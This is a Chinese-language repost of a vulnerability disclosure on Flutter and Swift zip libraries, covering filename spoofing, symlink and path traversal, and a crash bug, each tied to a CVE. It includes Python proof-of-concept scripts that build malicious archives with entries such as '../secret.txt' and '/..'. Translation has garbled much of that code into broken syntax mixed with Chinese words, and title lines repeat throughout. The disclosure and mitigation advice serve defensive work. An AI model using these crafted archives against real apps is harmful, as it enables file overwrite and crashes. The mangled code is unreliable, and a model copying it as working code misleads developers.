ZIP 利用:在 Swift 和 Flutter 的流行 zip 库中发现的严重漏洞

admin 2024年4月15日18:54:12评论3 views字数 11215阅读37分23秒阅读模式

最近的深入调查揭示了在 Flutter 和 Swift 中广泛使用的 zip 包中发现的严重漏洞,给成千上万的开发人员和应用程序带来了严重的安全风险。我们的文章深入探讨了这些漏洞的技术方面,解释了它们的发现、影响和缓解策略。

介绍

ZIP 包是包含多个文件和目录的压缩存档,允许开发人员方便地捆绑应用程序功能所需的资源、库和其他组件。虽然 ZIP 包提供了效率和易用性,但它们也可能是恶意行为者可以利用的潜在安全漏洞的来源。

  • ZIP 利用:在 Swift 和 Flutter 的流行 zip 库中发现的严重漏洞

  • ZIP 利用:在 Swift 和 Flutter 的流行 zip 库中发现的严重漏洞

  • windows

  • ZIP 利用:在 Swift 和 Flutter 的流行 zip 库中发现的严重漏洞

  • windows()

  • ZIP 利用:在 Swift 和 Flutter 的流行 zip 库中发现的严重漏洞

  • USB()

  • ZIP 利用:在 Swift 和 Flutter 的流行 zip 库中发现的严重漏洞

  • ()

  • ZIP 利用:在 Swift 和 Flutter 的流行 zip 库中发现的严重漏洞

  • ios

  • ZIP 利用:在 Swift 和 Flutter 的流行 zip 库中发现的严重漏洞

  • windbg

  • ZIP 利用:在 Swift 和 Flutter 的流行 zip 库中发现的严重漏洞

  • ()

  • ZIP 利用:在 Swift 和 Flutter 的流行 zip 库中发现的严重漏洞ZIP 利用:在 Swift 和 Flutter 的流行 zip 库中发现的严重漏洞ZIP 利用:在 Swift 和 Flutter 的流行 zip 库中发现的严重漏洞

  • ZIP 利用:在 Swift 和 Flutter 的流行 zip 库中发现的严重漏洞

  • ZIP 利用:在 Swift 和 Flutter 的流行 zip 库中发现的严重漏洞

  • ZIP 利用:在 Swift 和 Flutter 的流行 zip 库中发现的严重漏洞

本文将深入探讨 zip 处理实现的安全性,展示 Swift 和 Dart (Flutter) 生态系统中流行的 Zip 库中的漏洞。我们将探讨与恶意 ZIP 包相关的潜在风险及其对移动应用程序安全的影响。此外,我们将讨论最佳实践和有效策略,以确保在整个开发生命周期中对 ZIP 包提供强大的保护。

ZIP文件剖析

ZIP 文件通常遵循以下布局:

+------------------------------------------------------+
| 当地文件头 |
| +----------------------------------------------+ |
| | 当地文件头签名(4 字节) | |
| |提取所需的版本2 字节) | |
| |通用位标志(2 字节) | |
| |压缩方法2 字节) | |
| | 最后Mod Time2 字节) | |
| | 最后Mod 日期2 字节) | |
| |CRC-32 校验和(4 字节) | |
| |压缩大小(4 字节) | |
| |未压缩大小(4 字节) | |
| |文件名长度(2 字节) | |
| |额外字段长度(2 字节) | |
| +----------------------------------------------+ |
| |文件名(可变长度) | |
| | | |
| +----------------------------------------------+ |
| |额外字段(可变长度) | |
| | | |
| +----------------------------------------------+ |
|压缩数据 |
| |
| +----------------------------------------------+ |
| |数据描述符(可选) | |
| | +------------------------------------------+ | |
| | |CRC-32 校验和(4 字节) | | |
| | |压缩大小(4 字节) | | |
| | |未压缩大小(4 字节) | | |
| | +------------------------------------------+ | |
| +----------------------------------------------+ |
+------------------------------------------------------+
+------------------------------------------------------+|
中央目录 |
| +----------------------------------------------+ |
| |中央目录文件头 | |
| | +--------------------------------------+ | |
| | |中央目录标头签名 | | |
| | |版本制作2 字节) | | |
| | |提取所需的版本2 字节) | | |
| | |通用位标志(2 字节) | | |
| | |...| | |
| | +--------------------------------------+ | |
| | |CRC-32 校验和(4 字节) | | |
| | |压缩大小(4 字节) | | |
| | |未压缩大小(4 字节) | | |
| | |文件名长度(2 字节) | | |
| | |...| | |
| | +--------------------------------------+ | |
| | |文件名(可变长度) | | |
| | | | | |
| | +--------------------------------------+ | |
| +----------------------------------------------+ |
+------------------------------------------------------+
+------------------------------------------------------+|
中央目录记录结束 |
| +----------------------------------------------+ |
| | 中央目录签名结束4字节) | |
| |...| |
| +----------------------------------------------+ |

+------------------------------------------------------+

zip 结构的显着部分是:

  • 本地文件头:本地文件头是 ZIP 存档中每个文件开头的一个部分。它包含有关压缩文件的基本信息,例如其名称、大小、压缩方法和其他属性。此标头允许软件从ZIP存档中查找和提取单个文件。

  • 数据描述符:数据描述符是ZIP文件格式中的可选部分。它提供有关文件压缩数据的其他信息。数据描述符的用途是存储未压缩数据、压缩大小和未压缩大小的 CRC-32 校验和。包含此信息允许进行完整性检查,并且在提取文件时非常有用。

  • 中央目录文件头:中央目录文件头是 ZIP 文件中的一个部分,其中包含有关存档中每个文件的元数据。它提供文件名、压缩大小、未压缩大小、压缩方法和其他属性等详细信息。中央目录文件头位于中央目录结构中,这是ZIP存档中所有文件的目录。

  • 中央目录记录 (EOCD) 结束:中央目录结束 (EOCD) 记录是 ZIP 文件末尾的一个部分,用于标记中央目录结构的结束。它包含基本信息,包括中央目录中的条目数、中央目录的大小以及与中央目录开头的偏移量。EOCD 记录允许软件查找和访问中央目录,该目录提供有关 ZIP 存档中文件的信息。

常见的ZIP漏洞:

  • ZIP 路径遍历:Zip 路径遍历(也称为 Zip Slip)是一种安全漏洞,当应用程序在提取过程中无法验证 zip 条目的文件名时,就会发生该漏洞。它允许攻击者将文件提取到提取目录之外的任意位置,这有助于覆盖敏感的用户数据,在某些情况下,如果攻击者覆盖应用程序的共享对象文件,则可能导致代码执行。

  • ZIP 文件名欺骗:在 ZIP 存档的上下文中,有两种与文件名相关的主要数据结构:和 ,如果解析器从中读取文件名,然后继续提取文件,路径为 .Central Directory EntryLocal File HeaderLocal File HeaderCentral Directory Entry

  • ZIP 符号链接路径遍历:ZIP 符号链接是许多 zip 实用程序中使用的一项功能,它允许这些符号链接指向提取目录之外的文件。这可能会带来安全风险,导致覆盖敏感数据或共享对象文件,从而导致代码执行。

  • ZIP 炸弹:zip 炸弹是一个小型 zip 文件,其中包含大量压缩数据。提取后,它会扩展为大文件或消耗过多的系统资源,从而可能导致拒绝服务 (DoS)。

要分析的 ZIP 包

档案

Brendan Duncan 是用于处理压缩文件的流行 flutter 软件包之一,该软件包在 Dart 中原生实现流行的存档格式,而无需像 android 或 iOS 那样通过特定于本机平台的软件包。archivejava.util.zipZIPFoundation

语言: Dart (Flutter)
链接: https://pub.dev/packages/archive

Flutter_archive

flutter_archive是另一个专门用于 zip 文件的压缩文件的 Flutter 包,该包通过利用 Flutter 的 .java.util.zipMethodChannel

语言:飞镖(颤动)
链接:https://pub.dev/packages/flutter_archive

ZIP下载

ZIPFoundation是一个用于创建、读取和修改 ZIP 存档文件的库。它是用 Swift 编写的,基于 Apple 的 libcompression,以实现高性能和能源效率。

语言: Swift
链接: https://github.com/weichsel/ZIPFoundation

邮编

Zip是一个用于压缩和解压缩文件的 Swift 框架。简单快捷。建立在 minizip 之上。

语言: Swift
链接: https://github.com/marmelroy/Zip

ZIPArchive (SSZIPArchive)

ZipArchive 是一个简单的实用程序类,用于在 iOS、macOS 和 tvOS 上压缩和解压缩文件。

语言: Swift
链接: https://github.com/ZipArchive/ZipArchive

检测到的漏洞

包:存档

ZIP 文件名欺骗 (CVE-2023–39137)

archivepackage 只解析 的文件名,这导致与大多数通常偏爱的 zip 解析器不一致,这种不一致可能会被攻击者滥用,他们可以在 和 中制作具有不同文件名的恶意 zip 文件,从而在提取前后拥有具有不同文件名的文件。Local File HeaderCentral Directory EntryLocal File HeaderCentral Directory Entry

  String filename = '';
List<int> extraField = [];
String fileComment = '';
ZipFile? file;

ZipFileHeader(
[InputStreamBase? input, InputStreamBase? bytes, String? password]) {
if (input != null) {
versionMadeBy = input.readUint16();
versionNeededToExtract = input.readUint16();
generalPurposeBitFlag = input.readUint16();
compressionMethod = input.readUint16();
lastModifiedFileTime = input.readUint16();
lastModifiedFileDate = input.readUint16();
crc32 = input.readUint32();
compressedSize = input.readUint32();
uncompressedSize = input.readUint32();
final fnameLen = input.readUint16();
final extraLen = input.readUint16();
final commentLen = input.readUint16();
diskNumberStart = input.readUint16();
internalFileAttributes = input.readUint16();
externalFileAttributes = input.readUint32();
localHeaderOffset = input.readUint32();

if (fnameLen > 0) {
filename = input.readString(size: fnameLen);
}

为了测试这一点,我们制作了一个 zip 文件,分别具有不同的文件名字段值 evil.apk 和 evil.txt for 和Local File HeaderCentral Directory Entry

概念验证代码:

import zipfile

def generate_spoofed_zipfilename):
zipfile。ZipFile('payload.zip''w'as zipf:
zipf.writestr(filename, “Test payload”

with open'payload.zip''rb'as zipf:
zip_data = zipf.read()
spoofed_data = zip_data.replace(bytes(filename, 'utf-8'), bytes(spoofed_filename, 'utf-8'), 1

with open'payload.zip''wb'as zipf:
zipf.write(spoofed_data)


original_filename = 'evil.txt'spoofed_filename
= 'evil.apk'if

len(original_filename) != len(spoofed_filename):
提高ValueError(“文件名长度必须相等”

generate_spoofed_zip(original_filename)

ZIP 利用:在 Swift 和 Flutter 的流行 zip 库中发现的严重漏洞

当我们在 zip 文件上运行实用程序时,其中的文件名被解析为zipinfoevil.txt

ZIP 利用:在 Swift 和 Flutter 的流行 zip 库中发现的严重漏洞

但是,在从包中提取 using 函数后,文件名被解析为extractFileToDiskarchiveevil.apk

ZIP 利用:在 Swift 和 Flutter 的流行 zip 库中发现的严重漏洞

ZIP 符号链接路径遍历 (CVE-2023–39139)

我们在检查包时发现的另一个有趣的发现是,它不仅在提取后链接回符号链接,而且还链接指向任何路径的符号链接,甚至在提取目录之外。

for (final file in archive.files) {
final filePath = p.join(outputPath, p.normalize(file.name));

if (!isWithinOutputPath(outputPath, filePath)) {
continue;
}

if (!file.isFile && !file.isSymbolicLink) {
Directory(filePath).createSync(recursive: true);
continue;
}

if (asyncWrite) {
if (file.isSymbolicLink) {
final link = Link(filePath);
await link.create(p.normalize(file.nameOfLinkedFile), recursive: true);
} else {
final output = File(filePath);
final f = await output.create(recursive: true);
final fp = await f.open(mode: FileMode.write);
final bytes = file.content as List<int>;
await fp.writeFrom(bytes);
file.clear();
futures.add(fp.close());
}

为了测试我们是否创建了一个指向父目录中的文件 (secret.txt) 的符号链接我们使用命令压缩了该符号链接,并使用 function 在 Android 测试设备上提取。zip --symlinks poc.zip evilpoc.zipextractFileToDisk

概念验证代码:

import zipfile

def compress_filefilename):
zipInfo = zipfile.ZipInfo(“.”
zipInfo.create_system = 3
zipInfo.external_attr = 2716663808
zipInfo.filename = 带有 zipfile 的文件名

。ZipFile('payload.zip''w'as zipf:
zipf.writestr(zipInfo, “/etc/hosts”

filename = 'evil'compress_file

(filename)

ZIP 利用:在 Swift 和 Flutter 的流行 zip 库中发现的严重漏洞

解压缩 zip 文件后,符号链接被链接回并指向解压缩目录之外的 。../secret.txt

ZIP 利用:在 Swift 和 Flutter 的流行 zip 库中发现的严重漏洞

包: ZIPFoundation

ZIP 符号链接路径遍历 (CVE-2023–39138)

提取后,该包将来自 zip 条目的路径直接传递到,而无需检查它是否位于提取目录中,我们复制了上面的相同测试,发现此包也允许指向提取目录外部的符号链接。fileManager.createSymbolicLink

case .symlink:
guard !fileManager.itemExists(at: url) else {
throw CocoaError(.fileWriteFileExists, userInfo: [NSFilePathErrorKey: url.path])
}
let consumer = { (data: Data) in
guard let linkPath = String(data: data, encoding: .utf8) else { throw ArchiveError.invalidEntryPath }
try fileManager.createParentDirectoryStructure(for: url)
try fileManager.createSymbolicLink(atPath: url.path, withDestinationPath: linkPath)
}
checksum = try self.extract(entry, bufferSize: bufferSize, skipCRC32: skipCRC32,
progress: progress, consumer: consumer)
}

ZIP 路径遍历 (CVE-2023–39138)

该包使用该函数检查 zip 条目路径是否位于提取目录中:isContained

func isContained(in parentDirectoryURL: URL) -> Bool {
// Ensure this URL is contained in the passed in URL
let parentDirectoryURL = URL(fileURLWithPath: parentDirectoryURL.path, isDirectory: true).standardized
return self.standardized.absoluteString.hasPrefix(parentDirectoryURL.absoluteString)
}
...
guard entryURL.isContained(in: destinationURL) else {
throw CocoaError(.fileReadInvalidFileName,
userInfo: [NSFilePathErrorKey: entryURL.path])
}
...
crc32 = try archive.extract(entry, to: entryURL, skipCRC32: skipCRC32, progress: entryProgress)

下面是该函数的代码片段:extract

public func extract(_ entry: Entry, to url: URL, bufferSize: Int = defaultReadChunkSize, skipCRC32: Bool = false,
progress: Progress? = nil) throws -> CRC32 {
guard bufferSize > 0 else {
throw ArchiveError.invalidBufferSize
}
let fileManager = FileManager()
var checksum = CRC32(0)
switch entry.type {
case .file:
guard !fileManager.itemExists(at: url) else {
throw CocoaError(.fileWriteFileExists, userInfo: [NSFilePathErrorKey: url.path])
}
try fileManager.createParentDirectoryStructure(for: url)
let destinationRepresentation = fileManager.fileSystemRepresentation(withPath: url.path)
guard let destinationFile: FILEPointer = fopen(destinationRepresentation, "wb+") else {
throw POSIXError(errno, path: url.path)
}
defer { fclose(destinationFile) }
let consumer = { _ = try Data.write(chunk: $0, to: destinationFile) }
checksum = try self.extract(entry, bufferSize: bufferSize, skipCRC32: skipCRC32,
progress: progress, consumer: consumer)

当提供以下路径时,该路径将规范化为通过上述检查的路径。当相同的路径被传递给 时,它会被规范化为 ,允许我们在提取目录之外写入文件。/base_path/extraction_directory//..//base_path/extraction_directory/entry_file_namefopen/base_path/entry_file_name

概念验证代码:

import zipfile

def compress_filefilename):
zipfile。ZipFile('payload.zip''w'as zipf:
zipf.writestr(filename, “测试有效负载”

filename = '/../secret.txt'compress_file

(文件名)

包装: Zip

ZIP 路径遍历 (CVE-2023–39135)

下面是用于提取zip文件的函数中的代码片段,您可以注意到来自我们的zip条目被附加到目录中,无需任何清理unzipFilepathStringdestination

let fileNameSize = Int(fileInfo.size_filename) + 1
//let fileName = UnsafeMutablePointer<CChar>(allocatingCapacity: fileNameSize)
let fileName = UnsafeMutablePointer<CChar>.allocate(capacity: fileNameSize)

unzGetCurrentFileInfo64(zip, &fileInfo, fileName, UInt(fileNameSize), nil, 0, nil, 0)
fileName[Int(fileInfo.size_filename)] = 0

var pathString = String(cString: fileName)

guard pathString.count > 0 else {
throw ZipError.unzipFail
}

var isDirectory = false
let fileInfoSizeFileName = Int(fileInfo.size_filename-1)
if (fileName[fileInfoSizeFileName] == "/".cString(using: String.Encoding.utf8)?.first || fileName[fileInfoSizeFileName] == "\".cString(using: String.Encoding.utf8)?.first) {
isDirectory = true;
}
free(fileName)
if pathString.rangeOfCharacter(from: CharacterSet(charactersIn: "/\")) != nil {
pathString = pathString.replacingOccurrences(of: "\", with: "/")
}

let fullPath = destination.appendingPathComponent(pathString).path

概念验证代码:

import zipfile

def compress_filefilename):
zipfile。ZipFile('payload.zip''w') as zipf:
zipf.writestr(filename, “测试有效负载”

filename = '../secret.txt'compress_file

(文件名)

包: ZIPArchive (SSZIPArchive)

拒绝服务 (CVE-2023–39136)

下面是用于清理 zip 条目文件名的函数的代码片段,代码在 zip 条目路径前置前缀,使用它对其进行标准化,然后删除前缀,但是当作为路径呈现时,输出成为 ,它有 7 个字符,而代码至少需要 8 个字符,这种未经处理的边缘情况会导致应用程序崩溃。_sanitizedPathfile:///NSURL/..NSURLfile://

if (strPath == nil) {
return nil;


添加方案 “file:///” 以支持对带有冒号的名称进行清理,例如 “file:a/../../../usr/bin“
strPath = [@”file:///“ stringByAppendingString:strPath];

// 清理路径遍历字符以防止目录回溯。忽略这些字符会模仿 macOS 上“取消存档”工具的默认行为。
// “../../../../../../../../../../../tmp/test.txt“ -> ”tmp/test.txt“
// ”a/b/../c.txt“ -> ”a/c.txt“
strPath = [NSURL URLWithString:strPath].standardizedURL.absoluteString;

删除 “file:///” 方案
strPath = [strPath substringFromIndex:8
];

概念验证代码:

import zipfile

def compress_filefilename):
zipfile。ZipFile('payload.zip''w'as zipf:
zipf.writestr(filename, “测试有效负载”

filename = '/..'

compress_file(文件名)

汇总表

ZIP 利用:在 Swift 和 Flutter 的流行 zip 库中发现的严重漏洞

汇总表

结论

总之,ZIP漏洞会带来重大的安全风险,开发人员在处理存档文件时应注意这些风险。ZIP文件格式虽然被广泛使用和支持,但也不能幸免于难。了解和解决这些漏洞对于保护敏感数据和防止潜在攻击至关重要。

本文重点介绍了几个常见的ZIP漏洞,包括ZIP路径遍历、ZIP文件名欺骗、ZIP符号链接漏洞和ZIP炸弹攻击。这些漏洞中的每一个都暴露了不同的风险,例如未经授权访问文件、覆盖敏感数据、拒绝服务 (DoS) 甚至在某些情况下执行代码。

对于开发人员来说,在处理 ZIP 文件时实施强大的安全措施非常重要。这包括在提取过程中验证 zip 条目文件名以防止路径遍历攻击,确保本地文件头和中央目录条目中的文件名之间的一致性以减轻文件名欺骗,限制提取文件的访问权限,以及实施适当的解压缩技术以防止 ZIP 炸弹导致的 DoS 情况。

此外,随时了解与开发框架中使用的 ZIP 库或包相关的安全更新和补丁也至关重要。定期查看和更新这些依赖项有助于缓解已知漏洞并防范新出现的威胁。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月15日18:54:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ZIP 利用:在 Swift 和 Flutter 的流行 zip 库中发现的严重漏洞http://cn-sec.com/archives/2659064.html

发表评论

匿名网友 填写信息